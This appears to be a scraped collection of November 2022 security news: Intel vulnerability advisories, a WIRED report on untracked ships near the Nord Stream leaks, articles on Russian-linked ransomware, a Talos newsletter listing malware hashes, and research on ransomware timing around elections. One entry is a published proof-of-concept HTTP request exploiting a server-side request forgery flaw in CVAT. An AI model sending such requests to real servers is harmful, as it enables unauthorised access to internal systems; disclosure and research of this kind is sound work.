Uncontrolled search path element in the Intel(R) Quartus Prime Standard edition software before version 21.1 Patch 0.02std may allow an authenticated user to potentially enable escalation of privilege via local access.

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**Intel® Quartus® Advisory**

Intel ID:

INTEL-SA-00659

Advisory Category:

Software

Impact of vulnerability:

Escalation of Privilege, Information Disclosure

Severity rating:

MEDIUM

Original release:

11/08/2022

Last revised:

11/08/2022

**Summary: **

Potential security vulnerabilities in the Intel® Quartus Prime Pro and Standard edition software may allow escalation of privilege or information disclosure.  Intel is releasing software updates to mitigate these potential vulnerabilities.

**Vulnerability Details:**

CVEID: CVE-2022-27187

Description: Uncontrolled search path element in the Intel(R) Quartus Prime Standard edition software before version 21.1 Patch 0.02std may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.7 Medium

CVEID: CVE-2022-27233

Description: XML injection in the Intel(R) Quartus Prime Pro and Standard edition software may allow an unauthenticated user to potentially enable information disclosure via network access.

CVSS Base Score: 6.5 Medium

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

**Affected Products:**

Intel® Quartus Prime Pro edition software before version 22.1.

Intel® Quartus Prime Standard edition software before version 21.1 Patch 0.02std.

**Recommendations:**

Intel recommends updating the Intel® Quartus Prime Pro edition software to version 22.1 or later.

Intel recommends updating the Intel® Quartus Prime Standard edition software to version 21.1 Patch 0.02std or later.

Updates are available for download at these locations:

http://fpgasoftware.intel.com/?edition=pro

http://fpgasoftware.intel.com/?edition=standard

**Acknowledgements:**

Intel would like to thank avivanoa (CVE-2022-27187), Julien Ahrens from RCE Security (CVE-2022-27233) for reporting these issues.

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CVE-2022-27187: INTEL-SA-00659

Protection mechanism failure in the Intel(R) DCM software before version 5.0 may allow an unauthenticated user to potentially enable escalation of privilege via adjacent access.

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A potential security vulnerability in the Intel® Data Center Manager (DCM) software may allow escalation of privilege.  Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2022-33942

Description: Protection mechanism failure in the Intel(R) DCM software before version 5.0 may allow an unauthenticated user to potentially enable escalation of privilege via adjacent access.

CVSS Base Score: 8.8 High

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

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Intel® DCM software before version 5.0.

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Intel recommends updating the Intel® DCM software to version 5.0 or later.

Updates are available for download at this location: https://www.intel.com/content/www/us/en/download/645992

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    #Exploit Title: CVAT 2.0 - SSRF (Server Side Request Forgery)#Exploit Author: Emir Polat#Vendor Homepage: https://github.com/opencv/cvat#Version: < 2.0.0#Tested On: Version 1.7.0 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)#CVE: CVE-2022-31188# Description:#CVAT is an opensource interactive video and image annotation tool for computer vision. Versions prior to 2.0.0 were found to be subject to a Server-side request forgery (SSRF) vulnerability. #Validation has been added to urls used in the affected code path in version 2.0.0. Users are advised to upgrade.POST /api/v1/tasks/2/data HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0Accept: application/json, text/plain, */*Accept-Language:en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Token 06d88f739a10c7533991d8010761df721b790b7X-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGVContent-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436Content-Length: 569Origin: http://localhost:8080Connection: closeReferer:http://localhost:8080/tasks/createCookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dnedSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="remote files[0]"http://localhost:8081-----------------------------251652214142138553464236533436Content-Disposition: form-data; name=" image quality"170-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="use zip chunks"true-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="use cache"true-----------------------------251652214142138553464236533436--

CVAT 2.0 Server-Side Request Forgery

Satellite monitors discovered two vessels with their trackers turned off in the area of the pipeline prior to the suspected sabotage in September.

The first gas leaks on the Nord Stream 2 pipeline in the Baltic Sea were detected in the early hours of September 26, pouring up to 400,000 tons of methane into the atmosphere. Officials immediately suspected sabotage of the international pipeline. New analysis seen by WIRED shows that two large ships, with their trackers off, appeared around the leak sites in the days immediately before they were detected.

According to the analysis by satellite data monitoring firm SpaceKnow, the two “dark ships,” each measuring around 95 to 130 meters long, passed within several miles of the Nord Stream 2 leak sites. “We have detected some dark ships, meaning vessels that were of a significant size, that were passing through that area of interest,” says Jerry Javornicky, the CEO and cofounder of SpaceKnow. “They had their beacons off, meaning there was no information about their movement, and they were trying to keep their location information and general information hidden from the world,” Javornicky adds.

The discovery, which was made by analyzing images from multiple satellites, is likely to further increase speculation about the cause of the blasts. Multiple countries investigating the incident believe the Nord Stream 1 and 2 pipelines were rocked by a series of explosions, with many suspicions directed at Russia as its full-scale invasion of Ukraine continues. (Russia has denied its involvement.) Once SpaceKnow identified the ships, it reported its findings to officials at NATO, who are investigating the Nord Stream incidents. Javornicky says NATO officials asked the company to provide more information. 

NATO spokesperson Oana Lungescu says it does not comment on the “details of our support or the sources used” but confirmed that NATO believes the incident was a “deliberate and irresponsible act of sabotage” and it has increased its presence in the Baltic and North Seas. However, a NATO official, who did not have permission to speak publicly, confirmed to WIRED that NATO had received SpaceKnow’s data and said satellite imagery can prove useful for its investigations.

To detect the ships, Javornicky says, the company scoured 90 days of archived satellite images for the area. The company analyzes images from multiple satellite systems—including paid and free services—and uses machine learning to detect objects within them. This includes the ability to monitor roads, buildings, and changes in landscapes. "We have 38 specific algorithms that can detect military equipment," Javornicky says, adding that SpaceKnow’s system can detect specific models of aircraft on landing strips.

Once it gathered archive images of the area, SpaceKnow created a series of polygons around the gas leak sites. The smallest of these, around 400 square meters, covered the immediate blast area, and larger areas of interest covered several kilometers. In the weeks leading up to the explosions, SpaceKnow detected 25 ships passing through the region, from “cargo ships to multipurpose larger ships,” Javornicky says. In total, 23 of these vessels had their automatic identification system (AIS) transponders turned on. Two did not have AIS data turned on, and these ships passed the area during the days immediately ahead of the leaks being detected.

By international law, large ships are required to install and use AIS. This vessel tracking system was created to help ships navigate and avoid potential collisions with other vessels. When turned on, AIS will broadcast a ship’s name, location, the direction of travel, speed, and other information.

It is relatively rare for ships to turn off their AIS transponders. Ships that “go dark” are often suspected of being involved in illegal fishing or modern slavery, with officials in Europe previously investigating ships that are believed to have turned off their AIS transponders. “It would not be common practice \[to have AIS turned off\], unless the vessels have a classified military mission or they would have some clandestine objectives, because the Baltic Sea is one of the busiest seas in the world in terms of commercial traffic,” says Otto Tabuns, the director of the Baltic Security Foundation, an NGO that focuses on the region.

Tabuns says the Baltic Sea has multiple main “arteries” where ships travel and it is “responsible” for ships in the area to have their AIS trackers turned on. Collisions at sea can be deadly and environmentally ruinous. “There are many places in the \[Baltic\] sea that are not navigable for bigger ships,” Tabuns says. “There are also some areas that are not recommended or where it is prohibited to ship because of the heritage of World War Two.” Decades-old wartime submarines and munitions litter the Baltic Sea’s floor.

SpaceKnow detected the ships that had AIS turned off using synthetic aperture radar (SAR) images from satellites. Most satellites observing Earth take photos of what’s beneath them; others, however, also use SAR to bounce radio waves off the ground and create images from them. Andrey Kurekin, a coastal ocean color scientist at the Plymouth Marine Laboratory who has analyzed satellite images for detecting objects at sea, says SAR technology can be useful for detecting ships, as it shows reflections from metal objects. “They are shown as bright objects in SAR images,” Kurekin says.

Kurekin says SAR images can be used to identify the longitude and latitude coordinates of a ship, the direction it is heading, and potentially to estimate its speed. “The main advantage of SAR over optical sensors is that the microwaves penetrate through clouds,” Kurekin says. The images are less impacted by the weather and can also provide visibility at night. “It's quite difficult to hide a ship from a SAR sensor,” Kurekin adds.

SAR images of the dark ships shared with WIRED show the vessels as glowing objects, not far from the explosion site around Nord Stream 2. “We assume it was one of those two dark ships that we have detected, but we're not making any decision,” Javornicky says. He says the company is not in the business of determining what may have happened or who is responsible but instead provided the data to authorities.

Kurekin cautions that AIS tracking systems onboard ships can, at times, fail. The signal from AIS could stop communicating with satellites or receivers on land, Kurekin says, adding that the signal can be impacted by the weather too. “If there is a vessel that you can see in SAR image but it's not reported by the AIS system, it does not necessarily mean that there's something wrong with this vessel,” Kurekin says. Signals from AIS transponders can also be manipulated—warships have had their AIS data spoofed, and ships around Russia and the Black Sea have vanished from trackers in recent years.

While there are multiple ongoing investigations into the explosions, determining the full picture of what happened may take some time. Police in Copenhagen said its initial investigations have determined that “powerful explosions” caused “extensive damage” to the pipes. Images taken from around the exploded sections of the pipe appear to show that at least 50 meters of the pipeline were destroyed in the explosions.

In an email, the Swedish security service, Säkerhetspolisen, said that due to “secrecy” around its operations, it could not discuss its investigation or whether it was looking at satellite data. However, agency spokesperson Gabriel Wernstedt says the organization is conducting a “criminal investigation of gross sabotage” around both the Nord Stream 1 and 2 pipes. “Certain seizures were made during the onsite investigations that are being analyzed,” Wernstedt says. In public statements, Säkerhetspolisen has confirmed denotations happened at the pipes and that the Swedish armed forces are involved in the investigations.

However, while the investigations are ongoing, there appear to be difficulties between the countries that are looking into the incident, which could slow the process. While Sweden says it is working with investigators in Germany and Denmark, the official leading its investigation has rejected plans to form a joint investigation.

Tabuns says he hopes that the incident will act as motivation for countries to work on better ways to share intelligence, particularly as Sweden and Finland apply to join NATO. Each country will have its own levels of classification for information and systems where it collects intelligence—these may often not be compatible, Tabuns says. However, he adds that the events should see countries look at increasing the “integration of existing national systems so that there would be real-time information sharing for any response.”

_Update 9:30 am, 11-11-22: Added statement from NATO._

‘Dark Ships’ Emerge From the Shadows of the Nord Stream Mystery

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Microsoft on Thursday attributed the recent spate of ransomware incidents targeting transportation and logistics sectors in Ukraine and Poland to a threat cluster that shares overlaps with the Russian state-sponsored Sandworm group.
The attacks, which were disclosed by the tech giant last month, involved a strain of previously undocumented malware called Prestige and is said to have taken place

Microsoft on Thursday attributed the recent spate of ransomware incidents targeting transportation and logistics sectors in Ukraine and Poland to a threat cluster that shares overlaps with the Russian state-sponsored Sandworm group.

The attacks, which were disclosed by the tech giant last month, involved a strain of previously undocumented malware called Prestige and is said to have taken place within an hour of each other across all victims.

The Microsoft Threat Intelligence Center (MSTIC) is now tracking the threat actor under its element-themed moniker Iridium (née DEV-0960), citing overlaps with Sandworm (aka Iron Viking, TeleBots, and Voodoo Bear).

"This attribution assessment is based on forensic artifacts, as well as overlaps in victimology, tradecraft, capabilities, and infrastructure, with known Iridium activity," MSTIC said in an update.

The company also further assessed the group to have orchestrated compromise activity targeting many of the Prestige victims as far back as March 2022, before culminating in the deployment of the ransomware on October 11.

The method of initial compromise still remains unknown, although it's suspected that it involved gaining access to highly privileged credentials necessary to activate the killchain.

"The Prestige campaign may highlight a measured shift in Iridium's destructive attack calculus, signaling increased risk to organizations directly supplying or transporting humanitarian or military assistance to Ukraine," the company said.

The findings come over a month after Recorded Future linked another activity group (UAC-0113) with ties to the Sandworm actor as having singled out Ukrainian users by masquerading as telecom providers in the country to deliver backdoors onto compromised machines.

Microsoft, in its Digital Defense Report published last week, further called out Iridium for its pattern of targeting critical infrastructure and operational technology entities.

"Iridium deployed the Industroyer2 malware in a failed effort to leave millions of people in Ukraine without power," Redmond said, adding the threat actor used "phishing campaigns to gain initial access to desired accounts and networks in organizations within and outside Ukraine."

The development also arrives amid sustained ransomware attacks aimed at industrial organizations worldwide during the third quarter of 2022, with Dragos reporting 128 such incidents during the time period compared to 125 in the previous quarter.

"The LockBit ransomware family account for 33% and 35% respectively of the total ransomware incidents that target industrial organizations and infrastructures in the last two quarters, as the groups added new capabilities in their new LockBit 3.0 strain," the industrial security firm said.

Other prominent strains observed in Q3 2022 include Cl0p, MedusaLocker, Sparta, BianLian, Donuts, Onyx, REvil, and Yanluowang.

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Microsoft Blames Russian Hackers for Prestige Ransomware Attacks on Ukraine and Poland

The line between criminal and political aims has become blurred, but motivations matter less than the effects of a breach.

Cybersecurity professionals have long discussed the notion that future conflicts will no longer be fought just on a physical battlefield, but in the digital space as well. Although recent conflicts show that the physical battlefield isn't going anywhere soon, we are also seeing more state-backed cyberattacks than ever before. It is therefore vital that businesses, individuals, and governments ensure they are prepared for an attack. In the digital battleground it isn't just soldiers being targeted — everyone is in the line of fire.

Broadly speaking, an act of cyberwar is any state-backed malicious online activity that targets foreign networks. However, as with most geopolitical phenomena, real-world examples of cyberwarfare are far more complex. In the murky world of state-backed cybercrime, it isn't always government intelligence agencies directly carrying out attacks. Instead, it's far more common to see attacks from organized cybercriminal organizations that have ties to a nation-state. These organizations are known as advanced persistent threat (APT) groups. The infamous APT-28, also known as Fancy Bear, that hacked the Democratic National Committee in 2016 is a great example of this type of espionage.

The loose ties between APT groups and state intelligence agencies mean the lines between international espionage and more traditional cybercrime are blurred. This makes defining whether a particular attack is an "act of cyberwarfare" difficult. As such, security analysts are often only able to hypothesize whether an attack was state backed by percentages and degrees of certainty. This, in a way, is the perfect cover for malicious state agencies that wish to target and disrupt critical infrastructure while lowering the potential for generating a geopolitical crisis or armed conflict.

**If the Enemy Is in Range, So Are You**

Regardless of whether a cyberattack is directly linked to a foreign state agency, attacks on critical infrastructure can have devastating consequences. Critical infrastructure does not just refer to state-owned and operated infrastructure such as power grids and government organizations; banks, large corporations, and ISPs all fall under the umbrella of critical infrastructure targets.

For example, a targeted "hack, pump, and dump" scheme, where multiple personal online trading portfolios are compromised in order to manipulate share prices, could be undertaken by a state-backed group to damage savings and retirement funds in another nation, with potentially catastrophic consequences for the economy.

As governments and private organizations continue to adopt smart and connected IT networks, the risks and potential consequences will continue to grow. Recent research by the University of Michigan found significant security flaws in local traffic light systems. From a single access point, the research team was able to take control of over 100 traffic signals. Although the flaw in this system has subsequently been patched, this highlights the importance of robust, up-to-date inbuilt security systems to protect infrastructure from cyberattacks.

**Defend Now or Be Conquered Later**

With larger and more complex networks, the chance that vulnerabilities can be exploited increases exponentially. If organizations are to stand any chance against a sophisticated state-backed attack, every single endpoint on the network must be continually monitored and secured.

Some have already learned this lesson the hard way. In 2017, US food giant Mondelez was denied a $100 million insurance pay-out after suffering a Russian ATP cyberattack because the attack was deemed to be "an act of war" and not covered under the firm's cybersecurity insurance policy. (The conglomerate and Zurich Insurance recently settled their dispute on undisclosed terms.)

Endpoint security has never been more critical than today. The use of personal mobile devices as a work tool has become pervasive across almost every single industry. Scarily, this rise in bring-your-own-devices policy has in part been driven by the false assumption that mobile devices are inherently more secure than desktops.

However, several governments and ATP groups with well-established cyber capabilities have adapted to and exploited the mobile threat landscape for over 10 years with dangerously low detection rates. Attacks on government and civilian mobile networks have the potential to take down large portions of a workforce, grinding productivity to a halt and disrupting everything from government decision-making to the economy.

In today's threat landscape, cyberattacks aren't just a potential risk but are to be expected. Thankfully, the solution to minimize the damage is relatively straightforward: Trust no-one and secure everything.

IT and security managers may not be able to prevent a cyberattack or a cyberwar; however, they can defend themselves against the worst outcomes. If a device is connected to the infrastructure, whether physically or virtually, it is a potential back door for threat actors to access data and disrupt operations. So, if organizations want to avoid being caught in the crossfire of cyberwarfare, endpoint security must be the first priority in all operations, from mobile to desktop.

Cyberwar and Cybercrime Go Hand in Hand

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**Intel® Server Boards and Server Systems Advisory**

Intel ID:

INTEL-SA-00708

Advisory Category:

Firmware

Impact of vulnerability:

Escalation of Privilege, Denial of Service

Severity rating:

HIGH

Original release:

11/08/2022

Last revised:

11/08/2022

**Summary: **

Potential security vulnerabilities in some Intel® Server Boards and Server Systems may allow escalation of privilege or denial of service.  Intel is releasing firmware updates to mitigate these potential vulnerabilities

**Vulnerability Details:**

CVEID: CVE-2022-30542

Description: Improper input validation in the firmware for some Intel(R) Server Board S2600WF, Intel(R) Server System R1000WF and Intel(R) Server System R2000WF families before version R02.01.0014 may allow a privileged user to potentially enable an escalation of privilege via local access.

CVSS Base Score: 8.2 High

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVEID: CVE-2021-0185

Description: Improper input validation in the firmware for some Intel(R) Server Board M10JNP Family before version 7.216 may allow a privileged user to potentially enable an escalation of privilege via local access.

CVSS Base Score: 7.5 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CVEID: CVE-2022-25917

Description: Uncaught exception in the firmware for some Intel(R) Server Board M50CYP Family before version R01.01.0005 may allow a privileged user to potentially enable a denial of service via local access.

CVSS Base Score: 6.0 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

**Affected Products:**

*   Intel® Server Board S2600WF Family.
*   Intel® Server Board M50CYP Family.
*   Intel® Server Board M10JNP Family.
*   Intel® Server System R1000WF Family.
*   Intel® Server System R2000WF Family.

**Recommendations:**

Intel recommends updating the firmware for the affected Intel® Server Boards and Server Systems to the latest version:

Intel(R) Server System R1000WF, R200WF and Intel(R) Server Board S2600WF Family updates are available here.

Intel(R) Server Board M50CYP Family updates are available here.

Intel(R) Server Board M10JNP Family updates are available here.

**Acknowledgements:**

The following issues were found internally by Intel employees; CVE-2022-30542 and CVE-2022-25917. Intel would like to thank Jorge E. Gonzalez Diaz.

Intel would like to thank Dmitry Frolov (CVE-2021-0185) for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

11/08/2022

Initial Release

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CVE-2021-0185: INTEL-SA-00708

Welcome to this week’s edition of the Threat Source newsletter.
Tuesday was an absolute hammer for the infosec community. Not only did we have the US elections but we had Emotet returning and a regular Microsoft Tuesday release. That release always leads me to think about the bug

Thursday, November 10, 2022 16:11

Welcome to this week’s edition of the Threat Source newsletter.

Tuesday was an absolute hammer for the infosec community. Not only did we have the US elections but we had Emotet returning and a regular Microsoft Tuesday release. That release always leads me to think about the bug hunting ecosystem and the importance and value of vulnerability research. I admit that the phrase bug hunting ecosystem does lead you to think of the magical days in school. A tv rolled in the classroom on the big AV cart to show a documentary - the salad days. We were masters of our domain. Enough oldguy rambling, vulnerability research is absolutely vital to the security of the internet. Researchers dig into software and operating systems, identifying vulnerabilities in order to discover them before malicious threat actors do. A discovered and responsibly disclosed vulnerability can nullify possibly disastrous public exploitation before the attackers ever get their campaigns off the ground. It may also be before the threat actors have found the vulnerability at all. Ensuring that the vendor can create patches or remediation before attackers can leverage the vulnerability in the wild is a massive win for defenders, but it's often not discussed widely. So this is me saying "thank you so much" to those researchers that are undertaking the arduous process of identifying vulnerabilities and coordinating disclosure with the vendors

**The one big thing**

Emotet is back. Did it ever truly go away? Emotet has been disrupted by law enforcement only to return over and over again. Tracking Emotet as it evolved from banking trojan to modular botnet has been interesting. To me it’s not unlike the Whac-A-Mole adventure that was Talos v. Angler as they developed and implemented new techniques to not only exploit end users but attempt to avoid detection.

**Why do I care?**

Emotet has been very successful for a very long time and it’s likely that if you are reading this you are already aware of Emotet and may have had to deal with them firsthand. History shows us that they aren’t going away so being aware of the active research from Talos is vital in attempting to stay secure.

**So now what?**

Same as it ever was. Ensure that end users are educated as much as possible but understand that they will click the link. You need to verify that all security devices are up to date with the latest coverage releases, and that you follow the Talos blog where you will always find IOCs in clear text or appended via the Talos GitHub. Make sure you have implemented a strong patch management keeping systems up to date, as well as performing general system hardening that includes removing services or protocols that are unnecessary.

**Top security headlines from the week**

More than two dozen Lenovo notebook models are vulnerable to exploitation that disables the UEFI secure-boot process. Once exploited unsigned UEFI apps or load bootloaders can be run that permanently backdoor the device. Researchers from ESET disclosed the vulnerabilities as Lenovo released security updates for 25 vulnerable models. Vulnerabilities that undermine the UEFI secure boot make it possible for attackers to install malicious firmware that survives multiple operating system re-installations and avoids detection. (Ars Technica)

Zimperium zLabs recently identified a malicious extension that lets attackers control Google Chrome remotely. Cloud9, a malicious browser extension, is not only capable of stealing the information from a browser session, it can also install malware on a user’s device and subsequently assume control of the entire device, effectively a remote access trojan (RAT) for the Chromium web browser (Google Chrome and Microsoft Edge for example). The extension was not available on the official Chrome store but instead delivered via websites pushing fake Adobe Flash Player updates. (Bleepingcomputer)

**Can’t get enough Talos?**

*   Emotet coming in hot
*   Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns
*   Microsoft Patch Tuesday for November 2022 — Snort rules and prominent vulnerabilities
*   The Company You Keep – Preparing for supply chain attacks with Talos IR

**Upcoming events where you can find Talos**

BSides Lisbon (Nov. 10 - 11)  
Cidade Universitária, Lisboa, Portugal

SIS(Security Intelligence Summit), 2022.ON (Nov. 29)  
Josun Palace, Seoul

CactusCon (Jan 27-28)  
Mesa, AZ

**Most prevalent malware files from Talos telemetry over the past week**

SHA 256:  
9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Typical Filename: VID001.exe  
Detection Name: Simple\_Custom\_Detection

SHA25  
1077bff9128cc44f98379e81bd1641e5fbaa81fc9f095b89c10e4d1d2c89274d  
MD5: 26f927fb7560c11e509f0b8a7e787f79  
Typical Filename: Iris QuickLinks.exe  
Detection Name: W32.DFC.MalParent

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
MD5: 7bdbd180c081fa63ca94f9c22c457376  
Typical Filename: IMG001.exe  
Detection Name: Simple\_Custom\_Detection

SHA 256:  
e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934  
MD5: 93fefc3e88ffb78abb36365fa5cf857c  
Typical Filename: Wextract  
Claimed Product: Internet Explorer  
Detection Name: PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg

Threat Source newsletter (Nov. 10, 2022): Vulnerability research, movies in class, and Emotet once again

Questions about the Kremlin’s relationships with these groups remain. But researchers are finally getting some answers.

Russia-based ransomware gangs are some of the most prolific and aggressive, in part thanks to an apparent safe harbor the Russian government extends to them. The Kremlin doesn't cooperate with international ransomware investigations and typically declines to prosecute cybercriminals operating in the country so long as they don't attack domestic targets. A long-standing question, though, is whether these financially motivated hackers ever receive directives from the Russian government and to what extent the gangs are connected to the Kremlin's offensive hacking. The answer is starting to become clearer.

New research presented at the Cyberwarcon security conference in Arlington, Virginia, today looks at the frequency and targeting of ransomware attacks against organizations based in the United States, Canada, the United Kingdom, Germany, Italy, and France in the lead-up to these countries' national elections. The findings suggest a loose but visible alignment between Russian government priorities and activities and ransomware attacks leading up to elections in the six countries.

The project analyzed a data set of over 4,000 ransomware attacks perpetrated against victims in 102 countries between May 2019 and May 2022. Led by Karen Nershi, a researcher at the Stanford Internet Observatory and the Center for International Security and Cooperation, the analysis showed a statistically significant increase in ransomware attacks from Russia-based gangs against organizations in the six victim countries ahead of their national elections. These nations suffered the most total ransomware attacks per year in the data set, about three-quarters of all the attacks.

“We used the data to compare the timing of attacks for groups we think are based out of Russia and groups based everywhere else,” Nershi told WIRED ahead of her talk. “Our model looked at the number of attacks on any given day, and what we find is this interesting relationship where for these Russia-based groups, we see an increase in the number of attacks starting four months before an election and moving three, two, one month in, up to the event.”

The data set was culled from the dark-web sites that ransomware gangs maintain to name and shame victims and pressure them to pay up. Nershi and fellow researcher Shelby Grossman, a scholar at the Stanford Internet Observatory, focused on popular so-called “double extortion” attacks in which hackers breach a target network and exfiltrate data before planting ransomware to encrypt systems. Then the attackers demand a ransom not only for the decryption key but to keep the stolen data secret instead of selling it. The researchers may not have captured data from every single double-extortion actor out there, and attackers may not post about all of their targets, but Nershi says the data collection was thorough and that the groups typically have an interest in publicizing their attacks.

The findings showed broadly that non-Russian ransomware gangs didn't have a statistically significant increase in attacks in the lead-up to elections. Whereas two months out from a national election, for example, the researchers found that organizations in the six top victim countries were at a 41 percent greater chance of having a ransomware attack from a Russia-based gang on a given day, compared to the baseline. 

The increase wasn't visible in every sector, though. Russia-based ransomware gangs did seem to target government organizations and infrastructure at a slightly elevated rate two months out from a country's national election, but Nershi says the total number of attacks on government entities in the data set was small to begin with. The analysis didn't find a statistically significant increase in the number of attacks against organizations in the communications, finance, energy, and utility sectors leading up to elections. But because of the overall increase in attacks across all types of organizations, the researchers theorize that there may be a spillover effect that the Russian government's general increase of cyber activity in the lead-up to an election in one of the six countries indirectly fuels ransomware attacks.

“We are theorizing that there seems to be some level of loose ties between these ransomware groups based in Russia and the Russian government,” Nershi said, "In that they are criminal organizations, they’re in it for profit, but it seems like occasionally the Russian government will ask them for favors, and they’ll agree to operate on this sort of ad hoc basis."

The research aligns with other recent analyses and information, including details from a massive trove of chat logs leaked earlier this year that showed how the notorious Conti ransomware group operates. The data indicated that Conti members very likely have connections within Russia's FSB intelligence agency and knowledge of Russian military hacking operations, painting a picture of loose and ad hoc cooperation. 

“What the groups get out of it is generally not being prosecuted. And for the Russian government, it can allow them to outsource to some degree certain tasks in a way that gives them plausible deniability,” Nershi says. "As I perceive it, it's a strange, nebulous, ambiguous relationship."

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